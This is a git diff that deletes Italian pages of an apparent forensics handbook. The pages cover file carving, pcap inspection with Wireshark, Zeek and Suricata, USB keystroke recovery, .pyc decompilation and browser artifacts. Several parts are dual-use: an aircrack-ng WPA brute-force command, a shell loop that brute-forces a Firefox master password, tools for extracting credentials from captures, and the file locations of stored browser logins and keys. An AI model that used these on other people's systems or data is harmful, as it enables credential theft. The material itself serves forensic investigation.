decommentali. Se non decommenti nulla, foremost cercherà i suoi tipi di file configurati di default. -```bash -sudo apt-get install foremost -foremost -v -i file.img -o output -#Discovered files will appear inside the folder "output" -``` -## **Scalpel** - -**Scalpel** è un altro strumento che può essere utilizzato per trovare ed estrarre **file incorporati in un file**. In questo caso, dovrai decommentare dal file di configurazione \(_/etc/scalpel/scalpel.conf_\) i tipi di file che desideri estrarre. -```bash -sudo apt-get install scalpel -scalpel file.img -o output -``` -## Bulk Extractor - -Questo strumento è incluso in kali ma puoi trovarlo qui: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) - -Questo strumento può scansionare un'immagine e **estrarre pcaps** al suo interno, **informazioni di rete (URL, domini, IP, MAC, email)** e altri **file**. Devi solo fare: -```text -bulk_extractor memory.img -o out_folder -``` -Naviga attraverso **tutte le informazioni** che lo strumento ha raccolto \(password?\), **analizza** i **pacchetti** \(leggi[ **analisi Pcaps**](../pcap-inspection/index.html)\), cerca **domini strani** \(domini relativi a **malware** o **inesistenti**\). - -## PhotoRec - -Puoi trovarlo in [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) - -È disponibile in versione GUI e CLI. Puoi selezionare i **tipi di file** che vuoi che PhotoRec cerchi. - -![](../../../images/image%20%28524%29.png) - -# Strumenti di Data Carving Specifici - -## FindAES - -Cerca le chiavi AES cercando i loro programmi di chiave. In grado di trovare chiavi a 128, 192 e 256 bit, come quelle utilizzate da TrueCrypt e BitLocker. - -Scarica [qui](https://sourceforge.net/projects/findaes/). - -# Strumenti Complementari - -Puoi usare [**viu** ](https://github.com/atanunq/viu) per vedere immagini dal terminale. Puoi usare lo strumento da riga di comando linux **pdftotext** per trasformare un pdf in testo e leggerlo. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/README.md b/src/forensics/basic-forensic-methodology/pcap-inspection/README.md deleted file mode 100644 index 9dbae68b5..000000000 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/README.md +++ /dev/null @@ -1,212 +0,0 @@ -# Pcap Inspection - -{{#include ../../../banners/hacktricks-training.md}} - -> [!NOTE] -> Una nota su **PCAP** vs **PCAPNG**: ci sono due versioni del formato di file PCAP; **PCAPNG è più recente e non è supportato da tutti gli strumenti**. Potresti dover convertire un file da PCAPNG a PCAP utilizzando Wireshark o un altro strumento compatibile, per poter lavorare con esso in alcuni altri strumenti. - -## Strumenti online per pcaps - -- Se l'intestazione del tuo pcap è **rotta** dovresti provare a **ripararla** usando: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) -- Estrai **informazioni** e cerca **malware** all'interno di un pcap in [**PacketTotal**](https://packettotal.com) -- Cerca **attività malevole** usando [**www.virustotal.com**](https://www.virustotal.com) e [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) - -## Estrai Informazioni - -I seguenti strumenti sono utili per estrarre statistiche, file, ecc. - -### Wireshark - -> [!NOTE] -> **Se intendi analizzare un PCAP devi sostanzialmente sapere come usare Wireshark** - -Puoi trovare alcuni trucchi di Wireshark in: - -{{#ref}} -wireshark-tricks.md -{{#endref}} - -### Xplico Framework - -[**Xplico** ](https://github.com/xplico/xplico)_(solo linux)_ può **analizzare** un **pcap** ed estrarre informazioni da esso. Ad esempio, da un file pcap Xplico estrae ogni email (protocollo POP, IMAP e SMTP), tutti i contenuti HTTP, ogni chiamata VoIP (SIP), FTP, TFTP, e così via. - -**Installa** -```bash -sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list' -sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE -sudo apt-get update -sudo apt-get install xplico -``` -**Esegui** -``` -/etc/init.d/apache2 restart -/etc/init.d/xplico start -``` -Accesso a _**127.0.0.1:9876**_ con credenziali _**xplico:xplico**_ - -Poi crea un **nuovo caso**, crea una **nuova sessione** all'interno del caso e **carica il file pcap**. - -### NetworkMiner - -Come Xplico, è uno strumento per **analizzare ed estrarre oggetti dai pcap**. Ha un'edizione gratuita che puoi **scaricare** [**qui**](https://www.netresec.com/?page=NetworkMiner). Funziona con **Windows**.\ -Questo strumento è anche utile per ottenere **altre informazioni analizzate** dai pacchetti per poter sapere cosa stava succedendo in modo **più veloce**. - -### NetWitness Investigator - -Puoi scaricare [**NetWitness Investigator da qui**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(Funziona in Windows)**.\ -Questo è un altro strumento utile che **analizza i pacchetti** e ordina le informazioni in un modo utile per **sapere cosa sta succedendo all'interno**. - -### [BruteShark](https://github.com/odedshimon/BruteShark) - -- Estrazione e codifica di nomi utente e password (HTTP, FTP, Telnet, IMAP, SMTP...) -- Estrazione degli hash di autenticazione e cracking utilizzando Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...) -- Creazione di un diagramma di rete visivo (Nodi di rete e utenti) -- Estrazione delle query DNS -- Ricostruzione di tutte le sessioni TCP e UDP -- File Carving - -### Capinfos -``` -capinfos capture.pcap -``` -### Ngrep - -Se stai **cercando** **qualcosa** all'interno del pcap puoi usare **ngrep**. Ecco un esempio che utilizza i filtri principali: -```bash -ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168" -``` -### Carving - -Utilizzare tecniche di carving comuni può essere utile per estrarre file e informazioni dal pcap: - -{{#ref}} -../partitions-file-systems-carving/file-data-carving-recovery-tools.md -{{#endref}} - -### Capturing credentials - -Puoi utilizzare strumenti come [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) per analizzare le credenziali da un pcap o da un'interfaccia live. - -## Check Exploits/Malware - -### Suricata - -**Install and setup** -``` -apt-get install suricata -apt-get install oinkmaster -echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf -oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules -``` -**Controlla pcap** -``` -suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log -``` -### YaraPcap - -[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) è uno strumento che - -- Legge un file PCAP ed estrae flussi Http. -- gzip decomprime eventuali flussi compressi -- Scansiona ogni file con yara -- Scrive un report.txt -- Facoltativamente salva i file corrispondenti in una directory - -### Malware Analysis - -Controlla se riesci a trovare qualche impronta di un malware noto: - -{{#ref}} -../malware-analysis.md -{{#endref}} - -## Zeek - -> [Zeek](https://docs.zeek.org/en/master/about.html) è un analizzatore di traffico di rete passivo e open-source. Molti operatori utilizzano Zeek come Network Security Monitor (NSM) per supportare le indagini su attività sospette o malevole. Zeek supporta anche una vasta gamma di compiti di analisi del traffico oltre al dominio della sicurezza, inclusi la misurazione delle prestazioni e la risoluzione dei problemi. - -Fondamentalmente, i log creati da `zeek` non sono **pcaps**. Pertanto, sarà necessario utilizzare **altri strumenti** per analizzare i log dove si trova l'**informazione** sui pcaps. - -### Connections Info -```bash -#Get info about longest connections (add "grep udp" to see only udp traffic) -#The longest connection might be of malware (constant reverse shell?) -cat conn.log | zeek-cut id.orig_h id.orig_p id.resp_h id.resp_p proto service duration | sort -nrk 7 | head -n 10 - -10.55.100.100 49778 65.52.108.225 443 tcp - 86222.365445 -10.55.100.107 56099 111.221.29.113 443 tcp - 86220.126151 -10.55.100.110 60168 40.77.229.82 443 tcp - 86160.119664 - - -#Improve the metrics by summing up the total duration time for connections that have the same destination IP and Port. -cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto duration | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2 FS $3 FS $4] += $5 } END{ for (key in arr) printf "%s%s%s\n", key, FS, arr[key] }' | sort -nrk 5 | head -n 10 - -10.55.100.100 65.52.108.225 443 tcp 86222.4 -10.55.100.107 111.221.29.113 443 tcp 86220.1 -10.55.100.110 40.77.229.82 443 tcp 86160.1 - -#Get the number of connections summed up per each line -cat conn.log | zeek-cut id.orig_h id.resp_h duration | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2] += $3; count[$1 FS $2] += 1 } END{ for (key in arr) printf "%s%s%s%s%s\n", key, FS, count[key], FS, arr[key] }' | sort -nrk 4 | head -n 10 - -10.55.100.100 65.52.108.225 1 86222.4 -10.55.100.107 111.221.29.113 1 86220.1 -10.55.100.110 40.77.229.82 134 86160.1 - -#Check if any IP is connecting to 1.1.1.1 -cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto service | grep '1.1.1.1' | sort | uniq -c - -#Get number of connections per source IP, dest IP and dest Port -cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2 FS $3 FS $4] += 1 } END{ for (key in arr) printf "%s%s%s\n", key, FS, arr[key] }' | sort -nrk 5 | head -n 10 - - -# RITA -#Something similar can be done with the tool rita -rita show-long-connections -H --limit 10 zeek_logs - -+---------------+----------------+--------------------------+----------------+ -| SOURCE IP | DESTINATION IP | DSTPORT:PROTOCOL:SERVICE | DURATION | -+---------------+----------------+--------------------------+----------------+ -| 10.55.100.100 | 65.52.108.225 | 443:tcp:- | 23h57m2.3655s | -| 10.55.100.107 | 111.221.29.113 | 443:tcp:- | 23h57m0.1262s | -| 10.55.100.110 | 40.77.229.82 | 443:tcp:- | 23h56m0.1197s | - -#Get connections info from rita -rita show-beacons zeek_logs | head -n 10 -Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top Intvl,Top Size,Top Intvl Count,Top Size Count,Intvl Skew,Size Skew,Intvl Dispersion,Size Dispersion -1,192.168.88.2,165.227.88.15,108858,197,860,182,1,89,53341,108319,0,0,0,0 -1,10.55.100.111,165.227.216.194,20054,92,29,52,1,52,7774,20053,0,0,0,0 -0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0 -``` -### Informazioni DNS -```bash -#Get info about each DNS request performed -cat dns.log | zeek-cut -c id.orig_h query qtype_name answers - -#Get the number of times each domain was requested and get the top 10 -cat dns.log | zeek-cut query | sort | uniq | rev | cut -d '.' -f 1-2 | rev | sort | uniq -c | sort -nr | head -n 10 - -#Get all the IPs -cat dns.log | zeek-cut id.orig_h query | grep 'example\.com' | cut -f 1 | sort | uniq -c - -#Sort the most common DNS record request (should be A) -cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr - -#See top DNS domain requested with rita -rita show-exploded-dns -H --limit 10 zeek_logs -``` -## Altri trucchi per l'analisi pcap - -{{#ref}} -dnscat-exfiltration.md -{{#endref}} - -{{#ref}} -wifi-pcap-analysis.md -{{#endref}} - -{{#ref}} -usb-keystrokes.md -{{#endref}} - -​ - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md deleted file mode 100644 index a4314b686..000000000 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md +++ /dev/null @@ -1,14 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} - -Se hai un pcap di una connessione USB con molte interruzioni, probabilmente si tratta di una connessione USB Keyboard. - -Un filtro wireshark come questo potrebbe essere utile: `usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)` - -È importante sapere che i dati che iniziano con "02" sono stati premuti utilizzando il tasto shift. - -Puoi leggere ulteriori informazioni e trovare alcuni script su come analizzare questo in: - -- [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) -- [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md deleted file mode 100644 index 8e01ff004..000000000 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md +++ /dev/null @@ -1,17 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} - -Se hai un pcap che contiene la comunicazione tramite USB di una tastiera come la seguente: - -![](<../../../images/image (613).png>) - -Puoi utilizzare lo strumento [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) per ottenere ciò che è stato scritto nella comunicazione: -```bash -tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt -python3 usbkeyboard.py ./keystrokes.txt -``` -Puoi leggere ulteriori informazioni e trovare alcuni script su come analizzare questo in: - -- [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) -- [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md b/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md deleted file mode 100644 index e3cd12359..000000000 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md +++ /dev/null @@ -1,39 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} - -# Controlla i BSSID - -Quando ricevi una cattura il cui traffico principale è Wifi utilizzando WireShark, puoi iniziare a investigare tutti gli SSID della cattura con _Wireless --> WLAN Traffic_: - -![](<../../../images/image (424).png>) - -![](<../../../images/image (425).png>) - -## Brute Force - -Una delle colonne di quella schermata indica se **è stata trovata qualche autenticazione all'interno del pcap**. Se è così, puoi provare a forzarlo con `aircrack-ng`: -```bash -aircrack-ng -w pwds-file.txt -b file.pcap -``` -Ad esempio, recupererà la passphrase WPA che protegge un PSK (pre shared-key), necessaria per decrittografare il traffico in seguito. - -# Dati nei Beacon / Canale Laterale - -Se sospetti che **i dati vengano trasmessi all'interno dei beacon di una rete Wifi**, puoi controllare i beacon della rete utilizzando un filtro come il seguente: `wlan contains `, o `wlan.ssid == "NAMEofNETWORK"` cerca all'interno dei pacchetti filtrati stringhe sospette. - -# Trova Indirizzi MAC Sconosciuti in una Rete Wifi - -Il seguente link sarà utile per trovare le **macchine che inviano dati all'interno di una rete Wifi**: - -- `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2` - -Se già conosci **gli indirizzi MAC puoi rimuoverli dall'output** aggiungendo controlli come questo: `&& !(wlan.addr==5c:51:88:31:a0:3b)` - -Una volta che hai rilevato **indirizzi MAC sconosciuti** che comunicano all'interno della rete, puoi utilizzare **filtri** come il seguente: `wlan.addr== && (ftp || http || ssh || telnet)` per filtrare il suo traffico. Nota che i filtri ftp/http/ssh/telnet sono utili se hai decrittografato il traffico. - -# Decrittografa il Traffico - -Modifica --> Preferenze --> Protocolli --> IEEE 802.11--> Modifica - -![](<../../../images/image (426).png>) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md deleted file mode 100644 index b8a366a9d..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md +++ /dev/null @@ -1,202 +0,0 @@ -# Decompilare i binari python compilati (exe, elf) - Recuperare da .pyc - -{{#include ../../../banners/hacktricks-training.md}} - - -## Da binario compilato a .pyc - -Da un binario compilato **ELF** puoi **ottenere il .pyc** con: -```bash -pyi-archive_viewer -# The list of python modules will be given here: -[(0, 230, 311, 1, 'm', 'struct'), -(230, 1061, 1792, 1, 'm', 'pyimod01_os_path'), -(1291, 4071, 8907, 1, 'm', 'pyimod02_archive'), -(5362, 5609, 13152, 1, 'm', 'pyimod03_importers'), -(10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'), -(12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'), -(13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'), -(13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'), -(15090, 445, 672, 1, 's', 'pyi_rth_inspect'), -(15535, 2514, 4421, 1, 's', 'binary_name'), -... - -? X binary_name -to filename? /tmp/binary.pyc -``` -In un **eseguibile binario python** compilato puoi **ottenere il .pyc** eseguendo: -```bash -python pyinstxtractor.py executable.exe -``` -## Da .pyc a codice python - -Per i dati **.pyc** ("compilato" python) dovresti iniziare a provare a **estrarre** il **codice** **python** **originale**: -```bash -uncompyle6 binary.pyc > decompiled.py -``` -**Assicurati** che il file binario abbia l'**estensione** "**.pyc**" (in caso contrario, uncompyle6 non funzionerà) - -Durante l'esecuzione di **uncompyle6** potresti trovare i **seguenti errori**: - -### Errore: Numero magico sconosciuto 227 -```bash -/kali/.local/bin/uncompyle6 /tmp/binary.pyc -Unknown magic number 227 in /tmp/binary.pyc -``` -Per risolvere questo problema è necessario **aggiungere il numero magico corretto** all'inizio del file generato. - -**I numeri magici variano con la versione di python**, per ottenere il numero magico di **python 3.8** è necessario **aprire un terminale python 3.8** ed eseguire: -``` ->> import imp ->> imp.get_magic().hex() -'550d0d0a' -``` -Il **numero magico** in questo caso per python3.8 è **`0x550d0d0a`**, quindi, per risolvere questo errore dovrai **aggiungere** all'**inizio** del **file .pyc** i seguenti byte: `0x0d550a0d000000000000000000000000` - -**Una volta** che hai **aggiunto** quell'intestazione magica, l'**errore dovrebbe essere risolto.** - -Ecco come apparirà un **intestazione magica .pyc python3.8** correttamente aggiunta: -```bash -hexdump 'binary.pyc' | head -0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000 -0000010 00e3 0000 0000 0000 0000 0000 0000 0000 -0000020 0700 0000 4000 0000 7300 0132 0000 0064 -0000030 0164 006c 005a 0064 0164 016c 015a 0064 -``` -### Errore: Decompilazione errori generici - -**Altri errori** come: `class 'AssertionError'>; co_code dovrebbe essere uno dei tipi (, , , ); è di tipo ` possono apparire. - -Questo probabilmente significa che **non hai aggiunto correttamente** il numero magico o che non hai **usato** il **numero magico corretto**, quindi assicurati di usare quello corretto (o prova uno nuovo). - -Controlla la documentazione degli errori precedenti. - -## Strumento Automatico - -Il [**tool python-exe-unpacker**](https://github.com/countercept/python-exe-unpacker) funge da combinazione di diversi strumenti disponibili nella comunità progettati per assistere i ricercatori nello smontaggio e nella decompilazione di eseguibili scritti in Python, specificamente quelli creati con py2exe e pyinstaller. Include regole YARA per identificare se un eseguibile è basato su Python e conferma lo strumento di creazione. - -### ImportError: Nome file: 'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' non esiste - -Un problema comune riscontrato riguarda un file di bytecode Python incompleto risultante dal **processo di smontaggio con unpy2exe o pyinstxtractor**, che poi **non viene riconosciuto da uncompyle6 a causa di un numero di versione di bytecode Python mancante**. Per affrontare questo problema, è stata aggiunta un'opzione di prepend, che aggiunge il numero di versione di bytecode Python necessario, facilitando il processo di decompilazione. - -Esempio del problema: -```python -# Error when attempting to decompile without the prepend option -test@test: uncompyle6 unpacked/malware_3.exe/archive.py -Traceback (most recent call last): -... -ImportError: File name: 'unpacked/malware_3.exe/__pycache__/archive.cpython-35.pyc' doesn't exist -``` - -```python -# Successful decompilation after using the prepend option -test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive -[*] On Python 2.7 -[+] Magic bytes are already appended. - -# Successfully decompiled file -[+] Successfully decompiled. -``` -## Analizzare l'assembly di python - -Se non sei riuscito a estrarre il codice "originale" di python seguendo i passaggi precedenti, allora puoi provare a **estrarre** l'**assembly** (ma **non è molto descrittivo**, quindi **prova** a estrarre **di nuovo** il codice originale). In [qui](https://bits.theorem.co/protecting-a-python-codebase/) ho trovato un codice molto semplice per **disassemblare** il binario _.pyc_ (buona fortuna a capire il flusso del codice). Se il _.pyc_ è di python2, usa python2: -```bash ->>> import dis ->>> import marshal ->>> import struct ->>> import imp ->>> ->>> with open('hello.pyc', 'r') as f: # Read the binary file -... magic = f.read(4) -... timestamp = f.read(4) -... code = f.read() -... ->>> ->>> # Unpack the structured content and un-marshal the code ->>> magic = struct.unpack('>> timestamp = struct.unpack('>> code = marshal.loads(code) ->>> magic, timestamp, code -((62211,), (1425911959,), at 0x7fd54f90d5b0, file "hello.py", line 1>) ->>> ->>> # Verify if the magic number corresponds with the current python version ->>> struct.unpack('>> ->>> # Disassemble the code object ->>> dis.disassemble(code) -1 0 LOAD_CONST 0 () -3 MAKE_FUNCTION 0 -6 STORE_NAME 0 (hello_world) -9 LOAD_CONST 1 (None) -12 RETURN_VALUE ->>> ->>> # Also disassemble that const being loaded (our function) ->>> dis.disassemble(code.co_consts[0]) -2 0 LOAD_CONST 1 ('Hello {0}') -3 LOAD_ATTR 0 (format) -6 LOAD_FAST 0 (name) -9 CALL_FUNCTION 1 -12 PRINT_ITEM -13 PRINT_NEWLINE -14 LOAD_CONST 0 (None) -17 RETURN_VALUE -``` -## Python in Eseguibile - -Per iniziare, ti mostreremo come i payload possono essere compilati in py2exe e PyInstaller. - -### Per creare un payload utilizzando py2exe: - -1. Installa il pacchetto py2exe da [http://www.py2exe.org/](http://www.py2exe.org) -2. Per il payload (in questo caso, lo chiameremo hello.py), utilizza uno script come quello nella Figura 1. L'opzione “bundle_files” con il valore di 1 raggrupperà tutto, incluso l'interprete Python, in un unico exe. -3. Una volta che lo script è pronto, emetteremo il comando “python setup.py py2exe”. Questo creerà l'eseguibile, proprio come nella Figura 2. -```python -from distutils.core import setup -import py2exe, sys, os - -sys.argv.append('py2exe') - -setup( -options = {'py2exe': {'bundle_files': 1}}, -#windows = [{'script': "hello.py"}], -console = [{'script': "hello.py"}], -zipfile = None, -) -``` - -```bash -C:\Users\test\Desktop\test>python setup.py py2exe -running py2exe -*** searching for required modules *** -*** parsing results *** -*** finding dlls needed *** -*** create binaries *** -*** byte compile python files *** -*** copy extensions *** -*** copy dlls *** -copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe -Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe -``` -### Per creare un payload utilizzando PyInstaller: - -1. Installa PyInstaller usando pip (pip install pyinstaller). -2. Dopo di che, emetteremo il comando “pyinstaller –onefile hello.py” (un promemoria che ‘hello.py’ è il nostro payload). Questo raggrupperà tutto in un unico eseguibile. -``` -C:\Users\test\Desktop\test>pyinstaller --onefile hello.py -108 INFO: PyInstaller: 3.3.1 -108 INFO: Python: 2.7.14 -108 INFO: Platform: Windows-10-10.0.16299 -……………………………… -5967 INFO: checking EXE -5967 INFO: Building EXE because out00-EXE.toc is non existent -5982 INFO: Building EXE from out00-EXE.toc -5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe -6325 INFO: Building EXE from out00-EXE.toc completed successfully. -``` -## Riferimenti - -- [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/) - - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md deleted file mode 100644 index 0a68c1d3b..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md +++ /dev/null @@ -1,41 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} - -Qui puoi trovare trucchi interessanti per tipi di file specifici e/o software: - -{{#ref}} -.pyc.md -{{#endref}} - -{{#ref}} -browser-artifacts.md -{{#endref}} - -{{#ref}} -desofuscation-vbs-cscript.exe.md -{{#endref}} - -{{#ref}} -local-cloud-storage.md -{{#endref}} - -{{#ref}} -office-file-analysis.md -{{#endref}} - -{{#ref}} -pdf-file-analysis.md -{{#endref}} - -{{#ref}} -png-tricks.md -{{#endref}} - -{{#ref}} -video-and-audio-file-analysis.md -{{#endref}} - -{{#ref}} -zips-tricks.md -{{#endref}} - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md deleted file mode 100644 index 1c6715f8c..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md +++ /dev/null @@ -1,162 +0,0 @@ -# Browser Artifacts - -{{#include ../../../banners/hacktricks-training.md}} - -## Browser Artifacts - -Gli artefatti del browser includono vari tipi di dati memorizzati dai browser web, come la cronologia di navigazione, i segnalibri e i dati della cache. Questi artefatti sono conservati in cartelle specifiche all'interno del sistema operativo, che differiscono per posizione e nome tra i browser, ma generalmente memorizzano tipi di dati simili. - -Ecco un riepilogo degli artefatti del browser più comuni: - -- **Cronologia di Navigazione**: Tiene traccia delle visite degli utenti ai siti web, utile per identificare le visite a siti malevoli. -- **Dati di Autocompletamento**: Suggerimenti basati su ricerche frequenti, offrendo informazioni quando combinati con la cronologia di navigazione. -- **Segnalibri**: Siti salvati dall'utente per un accesso rapido. -- **Estensioni e Componenti Aggiuntivi**: Estensioni del browser o componenti aggiuntivi installati dall'utente. -- **Cache**: Memorizza contenuti web (ad es., immagini, file JavaScript) per migliorare i tempi di caricamento dei siti web, prezioso per l'analisi forense. -- **Accessi**: Credenziali di accesso memorizzate. -- **Favicons**: Icone associate ai siti web, che appaiono nelle schede e nei segnalibri, utili per ulteriori informazioni sulle visite degli utenti. -- **Sessioni del Browser**: Dati relativi alle sessioni del browser aperte. -- **Download**: Registrazioni dei file scaricati tramite il browser. -- **Dati dei Moduli**: Informazioni inserite nei moduli web, salvate per future suggerimenti di autocompletamento. -- **Miniature**: Immagini di anteprima dei siti web. -- **Custom Dictionary.txt**: Parole aggiunte dall'utente al dizionario del browser. - -## Firefox - -Firefox organizza i dati degli utenti all'interno dei profili, memorizzati in posizioni specifiche in base al sistema operativo: - -- **Linux**: `~/.mozilla/firefox/` -- **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/` -- **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\` - -Un file `profiles.ini` all'interno di queste directory elenca i profili utente. I dati di ciascun profilo sono memorizzati in una cartella nominata nella variabile `Path` all'interno di `profiles.ini`, situata nella stessa directory di `profiles.ini` stesso. Se la cartella di un profilo è mancante, potrebbe essere stata eliminata. - -All'interno di ciascuna cartella del profilo, puoi trovare diversi file importanti: - -- **places.sqlite**: Memorizza cronologia, segnalibri e download. Strumenti come [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) su Windows possono accedere ai dati della cronologia. -- Usa query SQL specifiche per estrarre informazioni sulla cronologia e sui download. -- **bookmarkbackups**: Contiene backup dei segnalibri. -- **formhistory.sqlite**: Memorizza i dati dei moduli web. -- **handlers.json**: Gestisce i gestori di protocollo. -- **persdict.dat**: Parole del dizionario personalizzato. -- **addons.json** e **extensions.sqlite**: Informazioni su componenti aggiuntivi e estensioni installati. -- **cookies.sqlite**: Memorizzazione dei cookie, con [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) disponibile per l'ispezione su Windows. -- **cache2/entries** o **startupCache**: Dati della cache, accessibili tramite strumenti come [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html). -- **favicons.sqlite**: Memorizza i favicons. -- **prefs.js**: Impostazioni e preferenze dell'utente. -- **downloads.sqlite**: Database dei download più vecchi, ora integrato in places.sqlite. -- **thumbnails**: Miniature dei siti web. -- **logins.json**: Informazioni di accesso crittografate. -- **key4.db** o **key3.db**: Memorizza le chiavi di crittografia per proteggere informazioni sensibili. - -Inoltre, controllare le impostazioni anti-phishing del browser può essere fatto cercando le voci `browser.safebrowsing` in `prefs.js`, che indicano se le funzionalità di navigazione sicura sono attivate o disattivate. - -Per provare a decrittare la password principale, puoi usare [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\ -Con il seguente script e chiamata puoi specificare un file di password da forzare: -```bash:brute.sh -#!/bin/bash - -#./brute.sh top-passwords.txt 2>/dev/null | grep -A2 -B2 "chrome:" -passfile=$1 -while read pass; do -echo "Trying $pass" -echo "$pass" | python firefox_decrypt.py -done < $passfile -``` -![](<../../../images/image (417).png>) - -## Google Chrome - -Google Chrome memorizza i profili utente in posizioni specifiche in base al sistema operativo: - -- **Linux**: `~/.config/google-chrome/` -- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\` -- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/` - -All'interno di queste directory, la maggior parte dei dati utente può essere trovata nelle cartelle **Default/** o **ChromeDefaultData/**. I seguenti file contengono dati significativi: - -- **History**: Contiene URL, download e parole chiave di ricerca. Su Windows, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) può essere utilizzato per leggere la cronologia. La colonna "Transition Type" ha vari significati, inclusi i clic dell'utente su link, URL digitati, invii di moduli e ricariche di pagina. -- **Cookies**: Memorizza i cookie. Per l'ispezione, è disponibile [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html). -- **Cache**: Contiene dati memorizzati nella cache. Per ispezionare, gli utenti Windows possono utilizzare 